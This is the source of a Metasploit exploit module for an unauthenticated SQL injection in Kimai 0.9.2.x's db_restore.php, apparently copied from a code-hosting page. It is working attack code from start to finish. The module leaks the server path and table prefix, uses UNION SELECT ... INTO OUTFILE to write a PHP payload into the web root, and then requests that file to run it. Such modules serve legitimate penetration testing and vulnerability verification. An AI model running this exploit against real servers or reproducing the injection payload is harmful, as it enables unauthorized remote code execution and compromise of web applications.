Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/webapp/kimai_sqli.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::FileDropper1011def initialize(info={})12super(update_info(info,13'Name' => "Kimai v0.9.2 'db_restore.php' SQL Injection",14'Description' => %q{15This module exploits a SQL injection vulnerability in Kimai version160.9.2.x. The 'db_restore.php' file allows unauthenticated users to17execute arbitrary SQL queries. This module writes a PHP payload to18disk if the following conditions are met: The PHP configuration must19have 'display_errors' enabled, Kimai must be configured to use a20MySQL database running on localhost; and the MySQL user must have21write permission to the Kimai 'temporary' directory.22},23'License' => MSF_LICENSE,24'Author' =>25[26'drone', # Discovery and PoC27'bcoles' # Metasploit module28],29'References' =>30[31['EDB', '25606'],32['OSVDB', '93547'],33],34'Payload' =>35{36'Space' => 8000, # HTTP POST37'DisableNops'=> true,38'BadChars' => "\x00\x0a\x0d\x27"39},40'Arch' => ARCH_PHP,41'Platform' => 'php',42'Targets' =>43[44# Tested on Kimai versions 0.9.2.beta, 0.9.2.1294.beta, 0.9.2.1306-345[ 'Kimai version 0.9.2.x (PHP Payload)', { 'auto' => true } ]46],47'Privileged' => false,48'DisclosureDate' => '2013-05-21',49'DefaultTarget' => 0))5051register_options(52[53OptString.new('TARGETURI', [true, 'The base path to Kimai', '/kimai/']),54OptString.new('FALLBACK_TARGET_PATH', [false, 'The path to the web server document root directory', '/var/www/']),55OptString.new('FALLBACK_TABLE_PREFIX', [false, 'The MySQL table name prefix string for Kimai tables', 'kimai_'])56])57end5859#60# Checks if target is Kimai version 0.9.2.x61#62def check63vprint_status("Checking version...")64res = send_request_raw({ 'uri' => normalize_uri(target_uri.path, "index.php") })65if not res66vprint_error("Request timed out")67return Exploit::CheckCode::Unknown68elsif res.body =~ /Kimai/ and res.body =~ /(0\.9\.[\d\.]+)<\/strong>/69version = "#{$1}"70print_good("Found version: #{version}")71if version >= "0.9.2" and version <= "0.9.2.1306"72return Exploit::CheckCode::Appears73end74end75return Exploit::CheckCode::Safe76end7778def exploit7980# Get file system path81print_status("Retrieving file system path...")82res = send_request_raw({ 'uri' => normalize_uri(target_uri.path, 'includes/vars.php') })83if not res84fail_with(Failure::Unknown, "#{peer} - Request timed out")85elsif res.body =~ /Undefined variable: .+ in (.+)includes\/vars\.php on line \d+/86path = "#{$1}"87print_good("Found file system path: #{path}")88else89path = normalize_uri(datastore['FALLBACK_TARGET_PATH'], target_uri.path)90print_warning("Could not retrieve file system path. Assuming '#{path}'")91end9293# Get MySQL table name prefix from temporary/logfile.txt94print_status("Retrieving MySQL table name prefix...")95res = send_request_raw({ 'uri' => normalize_uri(target_uri.path, 'temporary', 'logfile.txt') })96if not res97fail_with(Failure::Unknown, "#{peer} - Request timed out")98elsif prefixes = res.body.scan(/CREATE TABLE `(.+)usr`/)99table_prefix = "#{prefixes.flatten.last}"100print_good("Found table name prefix: #{table_prefix}")101else102table_prefix = normalize_uri(datastore['FALLBACK_TABLE_PREFIX'], target_uri.path)103print_warning("Could not retrieve MySQL table name prefix. Assuming '#{table_prefix}'")104end105106# Create a backup ID107print_status("Creating a backup to get a valid backup ID...")108res = send_request_cgi({109'method' => 'POST',110'uri' => normalize_uri(target_uri.path, 'db_restore.php'),111'vars_post' => {112'submit' => 'create backup'113}114})115if not res116fail_with(Failure::Unknown, "#{peer} - Request timed out")117elsif backup_ids = res.body.scan(/name="dates\[\]" value="(\d+)">/)118id = "#{backup_ids.flatten.last}"119print_good("Found backup ID: #{id}")120else121fail_with(Failure::Unknown, "#{peer} - Could not retrieve backup ID")122end123124# Write PHP payload to disk using MySQL injection 'into outfile'125fname = "#{rand_text_alphanumeric(rand(10)+10)}.php"126sqli = "#{id}_#{table_prefix}var UNION SELECT '<?php #{payload.encoded} ?>' INTO OUTFILE '#{path}/temporary/#{fname}';-- "127print_status("Writing payload (#{payload.encoded.length} bytes) to '#{path}/temporary/#{fname}'...")128res = send_request_cgi({129'method' => 'POST',130'uri' => normalize_uri(target_uri.path, 'db_restore.php'),131'vars_post' => Hash[{132'submit' => 'recover',133'dates[]' => sqli134}.to_a.shuffle]135})136if not res137fail_with(Failure::Unknown, "#{peer} - Request timed out")138elsif res.code == 200139print_good("Payload sent successfully")140register_files_for_cleanup(fname)141else142print_error("Sending payload failed. Received HTTP code: #{res.code}")143end144145# Remove the backup146print_status("Removing the backup...")147res = send_request_cgi({148'method' => 'POST',149'uri' => normalize_uri(target_uri.path, 'db_restore.php'),150'vars_post' => Hash[{151'submit' => 'delete',152'dates[]' => "#{id}"153}.to_a.shuffle]154})155if not res156print_warning("Request timed out")157elsif res.code == 302 and res.body !~ /#{id}/158vprint_good("Deleted backup with ID '#{id}'")159else160print_warning("Could not remove backup with ID '#{id}'")161end162163# Execute payload164print_status("Retrieving file '#{fname}'...")165res = send_request_raw({166'uri' => normalize_uri(target_uri.path, 'temporary', "#{fname}")167}, 5)168end169end170171172